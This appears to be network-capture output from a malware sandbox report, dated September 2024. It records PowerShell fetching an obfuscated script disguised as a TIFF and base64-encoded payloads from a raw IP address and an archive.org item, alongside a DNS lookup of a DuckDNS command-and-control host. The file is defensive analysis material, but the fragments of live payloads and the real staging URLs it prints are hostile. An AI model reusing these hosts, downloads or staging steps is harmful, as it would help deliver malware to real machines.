Sep 25, 2024 18:53:42.372384071 CEST	1.1.1.1	192.168.2.5	0xa625	No error (0)	ramcxx.duckdns.org	45.134.140.70	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

ia600100.us.archive.org

104.168.32.148

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	104.168.32.148	80	1600	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 18:50:06.117193937 CEST	318	OUT	GET /345/nicemeetingsofpictureclearthingstobe.tIF HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: 104.168.32.148 Connection: Keep-Alive
Sep 25, 2024 18:50:06.613581896 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 16:50:06 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 Last-Modified: Wed, 25 Sep 2024 01:41:49 GMT ETag: "3f892-622e7b9c7d160" Accept-Ranges: bytes Content-Length: 260242 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: image/tiff Data Raw: ff fe 0d 00 0a 00 0d 00 0a 00 66 00 47 00 55 00 57 00 4c 00 61 00 43 00 6b 00 6b 00 52 00 6b 00 57 00 63 00 57 00 61 00 6c 00 4b 00 4a 00 7a 00 63 00 4b 00 4c 00 74 00 4c 00 7a 00 20 00 3d 00 20 00 22 00 64 00 54 00 62 00 41 00 70 00 55 00 4e 00 63 00 4b 00 41 00 70 00 53 00 4b 00 4c 00 66 00 55 00 48 00 7a 00 4b 00 62 00 66 00 63 00 6f 00 55 00 6c 00 22 00 0d 00 0a 00 4c 00 50 00 42 00 6e 00 63 00 4c 00 69 00 75 00 65 00 47 00 65 00 6b 00 71 00 54 00 63 00 61 00 6e 00 74 00 69 00 73 00 73 00 6f 00 63 00 69 00 61 00 6c 00 69 00 73 00 74 00 61 00 4c 00 50 00 70 00 4f 00 42 00 50 00 68 00 65 00 20 00 3d 00 20 00 22 00 4b 00 7a 00 6c 00 41 00 51 00 53 00 4b 00 71 00 5a 00 6d 00 65 00 4c 00 70 00 74 00 61 00 63 00 61 00 65 00 65 00 41 00 57 00 75 00 6f 00 6f 00 69 00 22 00 0d 00 0a 00 57 00 62 00 62 00 75 00 57 00 68 00 7a 00 55 00 63 00 4c 00 69 00 47 00 7a 00 76 00 51 00 70 00 50 00 47 00 4f 00 6f 00 4a 00 63 00 55 00 72 00 55 00 20 00 3d 00 20 00 22 00 4c 00 50 00 5a 00 4b 00 69 00 71 00 41 00 4c 00 [TRUNCATED] Data Ascii: fGUWLaCkkRkWcWalKJzcKLtLz = "dTbApUNcKApSKLfUHzKbfcoUl"LPBncLiueGekqTcantissocialistaLPpOBPhe = "KzlAQSKqZmeLptacaeeAWuooi"WbbuWhzUcLiGzvQpPGOoJcUrU = "LPZKiqALiZtPPUUOiihptRcdG"pvKZoJoHlmmKgpGHeGHZznKLi = "adlWvLPpjZRWekqUWeZaNGtAL"BiUzJLLJWbpCZLpiReHsbNWOZ = "RpaLkGNWQkWzLWWgWLpxudGLc"eGgzNtoiWuWfBkczcmuqZjHig = "QieLLApLLKWbKffRLLOZzBhWi"PWKccUmcmZjfudnecPUWWRvfL = "lUOPrGCviKNeifitWAItKZZkL"aSizWPOQjepqhhflZbGOscpAp = "LsPKGPNcTULGkik
Sep 25, 2024 18:50:06.613610983 CEST	1236	IN	Data Raw: 00 6d 00 71 00 66 00 6f 00 67 00 4c 00 6f 00 57 00 4c 00 4f 00 22 00 0d 00 0a 00 4c 00 62 00 6e 00 6d 00 49 00 67 00 4c 00 41 00 50 00 7a 00 4a 00 55 00 68 00 52 00 69 00 5a 00 76 00 4b 00 50 00 65 00 69 00 4e 00 69 00 4b 00 73 00 20 00 3d 00 20 Data Ascii: mqfogLoWLO"LbnmIgLAPzJUhRiZvKPeiNiKs = "cccIBGTISvrxcWNCGiGiPLntk"TmlWalLWGWoxuKccUCWWxaAcm = "zTxPpqKLGcbOAzeZWGQaat
Sep 25, 2024 18:50:06.613627911 CEST	448	IN	Data Raw: 00 57 00 65 00 4c 00 6c 00 4b 00 51 00 65 00 66 00 4b 00 69 00 42 00 4f 00 65 00 57 00 55 00 61 00 57 00 66 00 20 00 3d 00 20 00 22 00 6f 00 67 00 51 00 47 00 6f 00 78 00 50 00 6c 00 78 00 69 00 63 00 43 00 51 00 55 00 57 00 4f 00 4b 00 4b 00 68 Data Ascii: WeLlKQefKiBOeWUaWf = "ogQGoxPlxicCQUWOKKhcGCWAp"kBWLcLUOPezGcUjuhLOcbvcQL = "LKqWqLAWzUomxLWkkWLfLokLL"LeOGUnLGKABe
Sep 25, 2024 18:50:06.613698959 CEST	1236	IN	Data Raw: 00 73 00 47 00 64 00 4c 00 47 00 57 00 43 00 68 00 4b 00 47 00 6b 00 69 00 6d 00 4c 00 43 00 6b 00 47 00 65 00 7a 00 64 00 68 00 42 00 54 00 68 00 20 00 3d 00 20 00 22 00 41 00 66 00 74 00 4c 00 76 00 4f 00 41 00 69 00 4b 00 41 00 6d 00 43 00 72 Data Ascii: sGdLGWChKGkimLCkGezdhBTh = "AftLvOAiKAmCricLNpWpZUufi"UKpgLzWbGibRWAbqibCBhantissocialistaOL = "CReNPiqiQAuvWpUoCvccKNd
Sep 25, 2024 18:50:06.613713980 CEST	1236	IN	Data Raw: 00 50 00 66 00 57 00 47 00 4f 00 57 00 6c 00 4b 00 65 00 63 00 50 00 50 00 4b 00 76 00 47 00 6d 00 74 00 55 00 69 00 55 00 22 00 0d 00 0a 00 7a 00 4c 00 57 00 51 00 52 00 61 00 6e 00 74 00 69 00 73 00 73 00 6f 00 63 00 69 00 61 00 6c 00 69 00 73 Data Ascii: PfWGOWlKecPPKvGmtUiU"zLWQRantissocialistaTRLpkbUKLLRoUAJPsp = "QxeZUBicGnLkiaPpCLuLPcltt"PbLgZJcLLiWBhdehKUdKelLph =
Sep 25, 2024 18:50:06.613732100 CEST	1236	IN	Data Raw: 00 69 00 73 00 73 00 6f 00 63 00 69 00 61 00 6c 00 69 00 73 00 74 00 61 00 69 00 22 00 0d 00 0a 00 53 00 74 00 6f 00 57 00 4c 00 63 00 55 00 65 00 62 00 53 00 6f 00 47 00 75 00 50 00 69 00 50 00 52 00 57 00 6d 00 50 00 57 00 4a 00 47 00 57 00 71 Data Ascii: issocialistai"StoWLcUebSoGuPiPRWmPWJGWq = "oGhUGqsLaiGeOLcfhkWiPmzbc"iKsOveGdOmtqoLIAbcnLkibnf = "GnqniLcdKkOnefGincC
Sep 25, 2024 18:50:06.613748074 CEST	1236	IN	Data Raw: 00 51 00 4e 00 43 00 4c 00 47 00 74 00 57 00 70 00 4b 00 41 00 47 00 61 00 70 00 75 00 55 00 6e 00 65 00 50 00 41 00 6c 00 69 00 6c 00 6b 00 68 00 22 00 0d 00 0a 00 4e 00 61 00 49 00 6a 00 47 00 78 00 64 00 4b 00 41 00 47 00 52 00 54 00 69 00 70 Data Ascii: QNCLGtWpKAGapuUnePAlilkh"NaIjGxdKAGRTipIuWkHmfGqqe = "oJWGUIaJGBcNBBQoAuZWNGmte"cUaAcnGLiWZkKAKndHbtnLWLA = "PsWetNcf
Sep 25, 2024 18:50:06.613765001 CEST	328	IN	Data Raw: 00 78 00 73 00 71 00 66 00 4c 00 4c 00 20 00 3d 00 20 00 22 00 47 00 68 00 63 00 75 00 50 00 4c 00 62 00 7a 00 6d 00 62 00 4b 00 4e 00 6f 00 4c 00 64 00 74 00 69 00 63 00 69 00 42 00 4c 00 6a 00 4c 00 62 00 47 00 22 00 0d 00 0a 00 6b 00 4a 00 57 Data Ascii: xsqfLL = "GhcuPLbzmbKNoLdticiBLjLbG"kJWTGlhGoILkBHUoiPfBGicxW = "koeLiLhLBtGAWCfkubJKNxuAL"tGOZLioNpOzdKKNGGfKLOWiiL
Sep 25, 2024 18:50:06.613779068 CEST	1236	IN	Data Raw: 00 4c 00 6e 00 57 00 6b 00 70 00 74 00 4e 00 73 00 4e 00 42 00 6d 00 6f 00 69 00 20 00 3d 00 20 00 22 00 47 00 63 00 4c 00 64 00 42 00 4c 00 66 00 69 00 69 00 4c 00 75 00 6d 00 65 00 6b 00 63 00 62 00 6f 00 69 00 63 00 66 00 4c 00 52 00 6b 00 50 Data Ascii: LnWkptNsNBmoi = "GcLdBLfiiLumekcboicfLRkPi"kjtNpoazZcxfeahWWcAKkfeHA = "ikACoWPbfLbixQZWIlaPUWzka"bqcLPcPzcAkztGZouKf
Sep 25, 2024 18:50:06.613794088 CEST	1236	IN	Data Raw: 00 76 00 66 00 4e 00 5a 00 4f 00 72 00 4e 00 55 00 47 00 4f 00 6e 00 4b 00 64 00 43 00 43 00 4b 00 61 00 69 00 6d 00 50 00 5a 00 42 00 22 00 0d 00 0a 00 70 00 50 00 64 00 63 00 68 00 71 00 6b 00 4b 00 55 00 4e 00 57 00 75 00 69 00 57 00 6d 00 4c Data Ascii: vfNZOrNUGOnKdCCKaimPZB"pPdchqkKUNWuiWmLWkbGQLPUz = "pKeokUoeqTApeLsttZNSNWUWU"LpGcLJlLxPWGzKLCAAKbAcLpm = "qzOUzBetot
Sep 25, 2024 18:50:06.618721962 CEST	1236	IN	Data Raw: 00 50 00 53 00 52 00 67 00 6f 00 57 00 47 00 63 00 42 00 61 00 57 00 62 00 5a 00 57 00 57 00 20 00 3d 00 20 00 22 00 63 00 57 00 69 00 78 00 4c 00 53 00 69 00 65 00 57 00 66 00 70 00 4b 00 68 00 50 00 64 00 43 00 6c 00 43 00 4c 00 52 00 54 00 4f Data Ascii: PSRgoWGcBaWbZWW = "cWixLSieWfpKhPdClCLRTOkIi"RgrLSKfmLLtZZKnlnLabLpJLZ = "kRvubNKdAaeaziWqWNixfelGI"uWxjgWhZUWAKhck

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49708	104.168.32.148	80	1672	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 18:50:18.633836031 CEST	78	OUT	GET /345/CHPPZA.txt HTTP/1.1 Host: 104.168.32.148 Connection: Keep-Alive
Sep 25, 2024 18:50:19.113245964 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 16:50:19 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 Last-Modified: Wed, 25 Sep 2024 01:38:21 GMT ETag: "a1000-622e7ad53cccd" Accept-Ranges: bytes Content-Length: 659456 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/plain Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 77 44 71 38 67 49 50 73 78 44 54 38 77 43 50 49 73 44 2f 37 77 39 4f 77 75 44 6c 37 51 33 4f 55 74 44 4d 37 41 68 4f 73 72 44 7a 36 77 71 4f 4d 71 44 62 36 51 6b 4f 6f 6f 44 45 36 67 67 4f 45 6f 44 41 35 77 66 4f 34 6e 44 39 35 41 36 4d 30 4d 44 4d 79 51 71 4d 67 4b 44 68 79 41 6f 4d 38 4a 44 63 79 67 6c 4d 49 4a 44 4f 79 67 69 4d 59 45 44 36 78 67 64 4d 55 48 44 30 78 77 63 4d 49 48 44 78 78 41 63 4d 38 47 44 75 78 77 61 4d 6f 47 44 70 78 41 61 4d 63 47 44 6d 78 51 5a 4d 51 47 44 6a 78 67 59 4d 34 46 44 64 78 41 48 41 41 41 41 6a 41 63 41 45 41 34 44 74 2b 41 71 50 59 36 44 68 2b 77 6e 50 30 35 44 62 2b 67 6d 50 67 35 44 54 2b 51 6b 50 77 34 44 4b 2b 41 69 50 59 34 44 46 2b 41 68 50 4d 34 44 43 2b 41 51 50 38 33 44 39 39 41 65 50 59 33 44 78 39 77 62 50 30 32 44 72 39 67 [TRUNCATED] Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwDq8gIPsxDT8wCPIsD/7w9OwuDl7Q3OUtDM7AhOsrDz6wqOMqDb6QkOooDE6ggOEoDA5wfO4nD95A6M0MDMyQqMgKDhyAoM8JDcyglMIJDOygiMYED6xgdMUHD0xwcMIHDxxAcM8GDuxwaMoGDpxAaMcGDmxQZMQGDjxgYM4FDdxAHAAAAjAcAEA4Dt+AqPY6Dh+wnP05Db+gmPg5DT+QkPw4DK+AiPY4DF+AhPM4DC+AQP83D99AePY3Dx9wbP02Dr9gYPA2De9QXPY1DO9QTPYwD+8gNP4yDm8gHPYxDO8gxO4vD27g7OYuDe7g1O4sDG6gvOYrDu6gpO4pDW6gjO0oDG5gfOYnDu5gZO8lDe5AXOQlDM5ABOwjD04ALOQiDc4AFOwgDF4gwNofDy3g6NIeDa3g0NocDC2QvNsbD62AuNYbD02wsNgaDm2woNoZDW2QlN4YDN2whNYYDE1QfNwXD61AZNEWDZ1gVNQVDP1QTNwUDL1QSNcUDF1AAN4TD90APNoTD40gNNETDv0gKNgSDn0gJNQSDi0AINsRDZ0AGNYRDU0gENERDK0QCNMMD/zg8MAPDtzQ6MwNDazw1MMNDGzAxMEID9yAsM4KDrywpMoJDYyQlMEJDEygQM8HD7xgbMwGDpxQZMgFDWxwUM8EDCxAAM0DD7wQOMwCDqwwJMUCDjwgFMQBDRwwDM0ADAAAQAQCgBgDwP4/D7/w9Po+Do/Q5PE+DU/g0P88DL/wxPI4Dx+wrPw6Do+ApP85DO+AjPk4DF9AePYnDi5AXOolDZ5AWOQlDT5wTOkkDH5gROUkDE5wQOIgD+4QPOkjDz4QMOAjDv4
Sep 25, 2024 18:50:19.113270998 CEST	1236	IN	Data Raw: 67 4c 4f 30 69 44 73 34 41 4b 4f 63 69 44 6a 34 51 48 4f 73 68 44 61 34 51 47 4f 67 68 44 58 34 77 45 4f 49 68 44 4f 34 41 43 4f 59 67 44 46 34 41 42 4f 4d 67 44 43 33 67 2f 4e 30 66 44 35 33 77 38 4e 45 66 44 77 33 77 37 4e 73 65 44 71 33 67 35 Data Ascii: gLO0iDs4AKOciDj4QHOshDa4QGOghDX4wEOIhDO4ACOYgDF4ABOMgDC3g/N0fD53w8NEfDw3w7NseDq3g5NUeDh3w2NkdDY3A1N4cDM3wyNocDJ3QhN8bD+2AuNYbD12AtNMbDy2grN0aDp2woNEaDg2AnNsZDX2QkN8YDO2QjNkYDI2ARN4XD81weNoXD51QdNQXDw1gaNgWDn1gZNUWDh1AYNwVDW1AVNMVDS1gTN0UDJ1wQN
Sep 25, 2024 18:50:19.113285065 CEST	1236	IN	Data Raw: 78 44 58 38 51 46 50 4d 78 44 52 38 77 44 50 30 77 44 4c 38 51 43 50 63 77 44 46 38 77 41 50 45 73 44 2f 37 51 2f 4f 73 76 44 35 37 77 39 4f 55 76 44 7a 37 51 38 4f 38 75 44 74 37 77 36 4f 6b 75 44 6e 37 51 35 4f 4d 75 44 68 37 77 33 4f 30 74 44 Data Ascii: xDX8QFPMxDR8wDP0wDL8QCPcwDF8wAPEsD/7Q/OsvD57w9OUvDz7Q8O8uDt7w6OkuDn7Q5OMuDh7w3O0tDb7Q2OctDV7w0OEtDP7QzOssDJ7wxOUsDD7QgO8rD96wuOkrD36QtOMrDx6wrO0qDr6QqOcqDl6woOEqDf6QnOspDZ6wlOUpDT6QkO8oDN6wiOkoDH6QhOMoDB5wfO0nD75QeOcnD15wcOEnDv5QbOsmDp5wZOUmDj
Sep 25, 2024 18:50:19.113296986 CEST	1236	IN	Data Raw: 77 78 4f 59 41 41 41 41 41 4f 41 46 41 4f 41 41 41 41 4e 6b 53 44 6f 30 77 4a 4e 59 53 44 6c 30 41 4a 4e 4d 53 44 69 30 51 49 4e 41 53 44 66 30 67 48 4e 30 52 44 63 30 77 47 4e 6f 52 44 59 30 77 46 4e 59 52 44 56 30 41 46 4e 4d 52 44 52 30 67 44 Data Ascii: wxOYAAAAAOAFAOAAAANkSDo0wJNYSDl0AJNMSDi0QINASDf0gHN0RDc0wGNoRDY0wFNYRDV0AFNMRDR0gDN0QDM0wCNoQDJ0ACNcQDF0ABNMQDC0QANAMD/zg/MwPD6AAAAcBQBQDgO8rD+6QvOwrD76guOkrD46wtOYrD16AtOMrDy6QsOArDv6grO0qDs6wqOoqDp6AqOcqDm6QpOQqDj6goOEqDg6wnO4pDd6AnOspDa6QmO
Sep 25, 2024 18:50:19.113311052 CEST	1236	IN	Data Raw: 79 44 6e 38 51 4a 50 4d 79 44 68 38 77 48 50 30 78 44 62 38 51 47 50 63 78 44 56 38 77 45 50 45 78 44 50 38 51 44 50 73 77 44 4a 38 77 42 50 55 77 44 44 38 51 77 4f 38 76 44 39 37 77 2b 4f 6b 76 44 33 37 51 39 4f 4d 76 44 78 37 77 37 4f 30 75 44 Data Ascii: yDn8QJPMyDh8wHP0xDb8QGPcxDV8wEPExDP8QDPswDJ8wBPUwDD8QwO8vD97w+OkvD37Q9OMvDx7w7O0uDr7Q6OcuDl7w4OEuDf7Q3OstDZ7w1OUtDT7Q0O8sDN7wyOksDH7QxOMsDB6wvO0rD76QuOcrD16wsOErDv6QrOsqDp6wpOUqDj6QoO8pDd6wmOkpDX6QlOMpDR6wjO0oDL6QiOcoDF6wgOEkD/5QfOsnD55wdOUnDz
Sep 25, 2024 18:50:19.113322020 CEST	1236	IN	Data Raw: 6f 2f 50 77 2f 6a 35 2f 77 39 50 53 2f 44 79 2f 34 37 50 79 2b 7a 70 2f 30 35 50 54 2b 54 69 2f 38 33 50 6b 39 54 53 2f 59 79 50 44 34 44 36 2b 34 74 50 55 37 6a 79 2b 41 73 50 32 36 44 72 2b 49 71 50 59 36 6a 6a 2b 51 6f 50 36 35 44 63 2b 59 6d Data Ascii: o/Pw/j5/w9PS/Dy/47Py+zp/05PT+Ti/83Pk9TS/YyPD4D6+4tPU7jy+AsP26Dr+IqPY6jj+QoP65Dc+YmPc5jU+gkP+4TN+4gPG0z79scPP2TU9QBPYzTy8oLPHyzf7s7Ozuzq7M2O+sDH6cvOorT26QBOGjjH4IwN+dTYzU5MPOzez01MLNjRxceMzGjgxwXMVAjKwsBMPAAAAQKAFAHAAAwP//j4/o9Pw+Ta/k0P98TM/0xP
Sep 25, 2024 18:50:19.113336086 CEST	776	IN	Data Raw: 35 44 55 2b 67 52 50 41 33 44 73 39 59 61 50 5a 32 7a 6a 39 41 59 50 6d 31 7a 58 39 67 56 50 52 31 6a 48 39 6b 51 50 45 77 7a 38 38 6b 4f 50 4c 7a 7a 72 38 30 4a 50 4c 79 44 66 38 49 67 4f 35 72 6a 30 36 63 6d 4f 41 6c 7a 6d 32 49 74 4e 7a 61 54 Data Ascii: 5DU+gRPA3Ds9YaPZ2zj9AYPm1zX9gVPR1jH9kQPEwz88kOPLzzr80JPLyDf8IgO5rj06cmOAlzm2ItNzaTR1oeNJSTv0ALNoSzezU0MCIT4yktMBLTrxAeMxGTQwYPMuDjcwsGMrAAAAAHAEAOAAAwPM/zn/w1PR9DS/QiP+7j9+cpPP6zX+4UPh2DN9QBPlzT38UMP5yjc84FPksDw7U3OstzY700OBtzI7sxOQszB6EvObrDo
Sep 25, 2024 18:50:19.113351107 CEST	1236	IN	Data Raw: 41 41 42 67 43 77 50 74 2b 54 6b 2b 51 6e 50 2b 30 7a 6b 39 4d 59 50 70 30 6a 42 38 41 4e 50 2b 79 7a 68 38 77 45 50 78 77 54 41 37 67 38 4f 54 74 54 52 37 41 30 4f 7a 73 54 48 37 63 77 4f 41 6f 7a 33 35 38 2b 4e 7a 66 7a 49 33 51 67 4e 69 62 44 Data Ascii: AABgCwPt+Tk+QnP+0zk9MYPp0jB8ANP+yzh8wEPxwTA7g8OTtTR7A0OzsTH7cwOAoz358+NzfzI3QgNibDd2IlNCZTL2MSNCWTb1QWNXVDT0YPNuTTy0EMNTSDj0sHNxRzZ0AGNRRzS0QEN5ITvyIrMSFj+xQfMuHz2x0cMFHjrxQaMZGzkx4YMpFDYxwTM0AT9w0OMsCTow4EMIBAAAAKAEAJA/E+PZ/zy/M8P6+Ts/k6Ph+Tm
Sep 25, 2024 18:50:19.113431931 CEST	1236	IN	Data Raw: 42 41 41 41 38 7a 34 2f 55 32 50 4f 35 44 75 2b 34 6d 50 57 35 7a 42 39 77 66 50 6a 32 6a 67 38 73 4e 50 4b 79 6a 64 38 73 47 50 67 78 7a 57 38 45 46 50 4d 78 6a 4d 38 63 78 4f 71 76 6a 30 37 6f 35 4f 30 74 7a 56 37 45 69 4f 33 72 44 32 34 6f 4c Data Ascii: BAAA8z4/U2PO5Du+4mPW5zB9wfPj2jg8sNPKyjd8sGPgxzW8EFPMxjM8cxOqvj07o5O0tzV7EiO3rD24oLO1izh4YGOhhjL4cCOIcj/3g/NZfzz1sdNQXzl14YNjUTH1cRNNQTu0UKNfSTj00ENyQDI08ANGMD/zQ/MiPjmzE5M/NDez4gM9LD+ywuMnLD1ygsMBLjqyQpM+Jzby8jMjIDExkeMTDznw4GMjBDSwQCMIAAAAgLA
Sep 25, 2024 18:50:19.115319014 CEST	1236	IN	Data Raw: 66 6a 34 33 34 39 4e 61 66 6a 31 33 49 39 4e 4f 66 6a 79 33 59 38 4e 43 66 6a 76 33 6f 37 4e 32 65 6a 73 33 34 36 4e 71 65 6a 70 33 49 36 4e 65 65 6a 6d 33 59 35 4e 53 65 6a 6a 33 6f 34 4e 47 65 6a 67 33 34 33 4e 36 64 6a 64 33 49 33 4e 75 64 6a Data Ascii: fj4349Nafj13I9NOfjy3Y8NCfjv3o7N2ejs346Nqejp3I6Neejm3Y5NSejj3o4NGejg343N6djd3I3NudjaAAAAgCwAACAAAUjYAAAAMAwAwBwPQ/DW/UEPsyDq8QKPgyzm8YFPAsD/7g/O0vz77g+OxqzA5UfOXnDx3wyNocDJ3AyNbYj12AoN8ZDe2QnNvZDa2EDNDSTd0cFNENDlzE1MLNzOzIhMpLzwyEqMbKTjygoMCKDf
Sep 25, 2024 18:50:19.118315935 CEST	1236	IN	Data Raw: 51 70 4e 42 61 6a 4d 32 59 51 4e 6f 57 54 6c 31 6b 55 4e 44 56 6a 49 31 30 52 4e 54 55 44 43 30 34 50 4e 30 54 6a 37 30 67 4f 4e 69 54 44 33 30 6f 4d 4e 41 54 44 75 30 30 4b 4e 6e 53 54 6f 30 6f 49 4e 43 53 54 52 30 30 44 4e 76 51 54 4a 30 59 42 Data Ascii: QpNBajM2YQNoWTl1kUNDVjI10RNTUDC04PN0Tj70gONiTD30oMNATDu00KNnSTo0oINCSTR00DNvQTJ0YBNLQjB0AwMnPj3zk9MKPjvzs6MjOzjzY4MBODezM3MsNTXzc1MKJDdyomMgJjVywkMGBAABQBADAEA/whP11j29kDPmyzE7AoOvnDB4IPOcjTp4cIOshDS4EDOUgDDAAAAsAwAwAwPA+za/YlP+TjNzcOAAAAFAMAI

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49705	207.241.227.240	443	1672	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 16:50:12 UTC	109	OUT	GET /24/items/detah-note-v/DetahNoteV.txt HTTP/1.1 Host: ia600100.us.archive.org Connection: Keep-Alive
2024-09-25 16:50:13 UTC	606	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Wed, 25 Sep 2024 16:50:13 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 2823512 Last-Modified: Wed, 11 Sep 2024 23:50:18 GMT Connection: close ETag: "66e22cba-2b1558" Strict-Transport-Security: max-age=15724800 Expires: Wed, 25 Sep 2024 22:50:13 GMT Cache-Control: max-age=21600 Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Accept-Encoding,Accept-Language,Authorization,Cache-Control,Content-Length,Content-Range,DNT,Pragma,Range,X-Requested-With Access-Control-Allow-Credentials: true Accept-Ranges: bytes
2024-09-25 16:50:13 UTC	15778	IN	Data Raw: 54 56 71 51 41 41 4d 41 41 41 41 45 41 41 41 41 2f 2f 38 41 41 4c 67 41 41 41 41 41 41 41 41 41 51 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 67 41 41 41 41 41 34 66 75 67 34 41 74 41 6e 4e 49 62 67 42 54 4d 30 68 56 47 68 70 63 79 42 77 63 6d 39 6e 63 6d 46 74 49 47 4e 68 62 6d 35 76 64 43 42 69 5a 53 42 79 64 57 34 67 61 57 34 67 52 45 39 54 49 47 31 76 5a 47 55 75 44 51 30 4b 4a 41 41 41 41 41 41 41 41 41 42 51 52 51 41 41 54 41 45 44 41 42 6f 43 42 62 6f 41 41 41 41 41 41 41 41 41 41 4f 41 41 44 69 45 4c 41 54 41 41 41 45 59 67 41 41 41 49 41 41 41 41 41 41 41 41 76 6d 55 67 41 41 41 67 41 41 41 41 67 43 41 41 41 41 42 41 41 41 41 67 41 41 41 41 41 67 41 Data Ascii: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDABoCBboAAAAAAAAAAOAADiELATAAAEYgAAAIAAAAAAAAvmUgAAAgAAAAgCAAAABAAAAgAAAAAgA
2024-09-25 16:50:13 UTC	16384	IN	Data Raw: 41 41 41 50 34 4d 45 77 42 46 41 67 41 41 41 41 55 41 41 41 41 31 41 41 41 41 4f 41 41 41 41 41 41 41 45 51 4d 52 46 78 45 49 63 35 73 46 41 41 5a 76 63 51 41 41 43 69 41 42 41 41 41 41 66 73 55 49 41 41 52 37 42 51 6b 41 42 44 6e 4a 2f 2f 2f 2f 4a 69 41 41 41 41 41 41 4f 4c 37 2f 2f 2f 38 41 41 4e 30 66 41 41 41 41 49 41 49 41 41 41 42 2b 78 51 67 41 42 48 73 53 43 51 41 45 4f 73 6e 36 2f 2f 38 6d 49 41 41 41 41 41 41 34 76 76 72 2f 2f 78 45 44 62 79 73 41 41 41 6f 57 50 6f 38 41 41 41 41 67 41 51 41 41 41 48 37 46 43 41 41 45 65 77 73 4a 41 41 51 36 6e 66 72 2f 2f 79 59 67 41 51 41 41 41 44 69 53 2b 76 2f 2f 45 67 63 6f 63 41 41 41 43 68 4d 49 49 41 55 41 41 41 42 2b 78 51 67 41 42 48 76 30 43 41 41 45 4f 6e 58 36 2f 2f 38 6d 49 41 59 41 41 41 41 34 61 Data Ascii: AAAP4MEwBFAgAAAAUAAAA1AAAAOAAAAAAAEQMRFxEIc5sFAAZvcQAACiABAAAAfsUIAAR7BQkABDnJ////JiAAAAAAOL7///8AAN0fAAAAIAIAAAB+xQgABHsSCQAEOsn6//8mIAAAAAA4vvr//xEDbysAAAoWPo8AAAAgAQAAAH7FCAAEewsJAAQ6nfr//yYgAQAAADiS+v//EgcocAAAChMIIAUAAAB+xQgABHv0CAAEOnX6//8mIAYAAAA4a
2024-09-25 16:50:13 UTC	16384	IN	Data Raw: 2f 2f 2f 77 41 52 42 47 39 49 49 77 41 47 62 33 51 41 41 41 6f 54 42 53 41 46 41 41 41 41 4f 44 48 2f 2f 2f 38 41 4f 4e 73 41 41 41 41 67 43 41 41 41 41 44 67 45 41 41 41 41 2f 67 77 4d 41 45 55 67 41 41 41 41 4f 51 49 41 41 47 34 43 41 41 42 61 41 51 41 41 66 51 41 41 41 4d 73 43 41 41 43 4d 41 51 41 41 46 41 45 41 41 4a 77 44 41 41 43 55 41 41 41 41 41 51 4d 41 41 4c 77 41 41 41 41 57 41 41 41 41 33 41 49 41 41 4d 63 42 41 41 43 6a 41 51 41 41 53 67 49 41 41 41 55 41 41 41 43 62 41 67 41 41 58 67 41 41 41 49 45 42 41 41 41 38 41 51 41 41 61 77 45 41 41 42 30 44 41 41 44 38 41 41 41 41 66 77 49 41 41 4f 30 42 41 41 44 68 41 41 41 41 53 77 45 41 41 44 51 41 41 41 42 46 41 41 41 41 49 51 41 41 41 42 4d 43 41 41 41 34 4e 41 49 41 41 42 45 49 4f 6a 30 44 41 Data Ascii: ///wARBG9IIwAGb3QAAAoTBSAFAAAAODH///8AONsAAAAgCAAAADgEAAAA/gwMAEUgAAAAOQIAAG4CAABaAQAAfQAAAMsCAACMAQAAFAEAAJwDAACUAAAAAQMAALwAAAAWAAAA3AIAAMcBAACjAQAASgIAAAUAAACbAgAAXgAAAIEBAAA8AQAAawEAAB0DAAD8AAAAfwIAAO0BAADhAAAASwEAADQAAABFAAAAIQAAABMCAAA4NAIAABEIOj0DA
